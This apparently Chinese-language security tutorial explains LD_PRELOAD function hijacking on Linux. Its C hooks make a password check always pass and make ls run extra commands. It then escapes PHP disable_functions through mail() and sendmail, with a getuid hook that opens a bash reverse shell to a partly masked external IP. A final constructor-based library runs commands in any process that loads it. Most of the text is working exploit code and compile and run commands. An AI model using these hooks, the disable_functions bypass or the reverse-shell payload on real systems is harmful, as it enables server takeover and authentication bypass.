前言
参考文章:
https://www.anquanke.com/post/id/254388
LD_PRELOAD
是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库
总之,LD_PRELOAD
,是个环境变量,用于动态库的加载,而动态库加载的优先级最高,因此我们可以抢先在正常函数执行之前率先执行我们的用代码写的函数
链接
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
在linux中,对应的是
.a
后缀的文件而动态链接对应的是
.so
后缀的文件装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
LD_PRELOAD Hook
由于 LD_PRELOAD
可以指定在程序运行前优先加载的动态链接库,那么我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件,然后通过指定 LD_PRELOAD
让程序优先加载的这个恶意的动态链接库,最后当程序再次运行时便会加载动态链接库中的恶意函数
具体操作:
- 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
- 将包含替换函数的源码编译为动态链接库
- 通过命令
export LD_PRELOAD="库文件路径"
,设置要优先替换动态链接库 - 替换结束,要还原函数调用关系,用命令
unset LD_PRELOAD
解除
demo:
这里给了一段简单用strcmp
进行比较的代码
test.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <given-password>\n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("\033[0;32;32mPassword Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mPassword Wrong!\n\033[m");
return 0;
}
}
直接编译并运行
gcc test.c -o test
很明显当我们输入正确的密码时回返回Correct,错误则返回Wrong
而标准库里的strcmp
函数是一个外部调用的函数,如果我们重写一个与strcmp
同名的函数,并编译成动态链接库,就能实现类似java里面覆写的效果,从而做到劫持原函数
hook_strcmp.c
#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
return 0;
}
这里把strcmp覆写了,失去原本的比较功能
最后调用了unsetenv("LD_PRELOAD")
,因为我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD
编译生成so文件
gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
然后设置LD_PRELOAD环境变量使其优先加载
export LD_PRELOAD=./hook_strcmp.so
再次执行我们的demo,发现这次不管输什么都会返回Correct,即成功劫持了
劫持linux系统命令
当我们得知了一个系统命令所调用的库函数后,我们可以重写指定的库函数进行劫持
以ls
命令进行演示
查看库函数调用:
readelf -Ws /usr/bin/ls
库函数挺多,这里以strncmp
进行演示
hook_strncmp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
这里把 strncmp 覆写成执行id
命令
编译生成,设置为环境变量
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
export LD_PRELOAD=./hook_strncmp.so
此时ls就会一起执行id命令了
绕disabled_function
相关的项目:bypass_disablefunc_via_LD_PRELOAD
思路如下:
查看进程调用的系统函数明细
找寻内部可以启动新进程的 PHP 函数
找到这个新进程所调用的系统库函数并重写
PHP 环境下劫持系统函数注入代码
利用 mail() 启动新进程来劫持系统函数
main.php
<?php
mail("a@localhost","","","","");
?>s
执行以下命令,可以查看进程调用的系统函数明细:
strace -f php error_log.php 2>&1 | grep -A2 -B2 execve
第一个 execve
是启动 PHP 解释器,而之后的 execve
则启动了新的系统进程,那就是 /usr/sbin/sendmail
看一下sendmail
调用的库函数:
readelf -Ws /usr/sbin/sendmail
选用getuid
来重写
hook_getuid.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
gcc -shared -fPIC hook_getuid.c -o hook_getuid.so
然后在 PHP 环境下劫持系统函数 getuid 就行了,代码如下:
mail.php
<?php
putenv("LD_PRELOAD=/var/tmp/hook_getuid.so"); // 注意这里的目录要有访问权限
mail("a@localhost","","","","");
?>
此时运行mail.php即可成功执行命令
利用 LD_PRELOAD 劫持系统新进程来绕过
以利用sendmail
劫持getuid
为例,在某些环境中,Web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid
了
那么回到 LD_PRELOAD 本身,系统通过它预先加载动态链接库,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那就不用依赖某个特定的程序了。类似于面向对象语言里的构造函数(如__construct
)
而 GCC 有个 C 语言扩展修饰符 __attribute__((constructor))
,可以让由它修饰的函数在 main() 之前执行,若它出现在动态链接库中,那么一旦动态链接库被系统加载,将立即执行 __attribute__((constructor))
修饰的函数
这样,我们就不用局限于仅劫持某一函数,而应考虑劫持动态链接库了,也可以说是劫持了一个新进程
于是我们可以直接劫持任何系统命令:
hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}
gcc -shared -fPIC hook_ls.c -o hook_ls.so
只要启动了进程便会进行劫持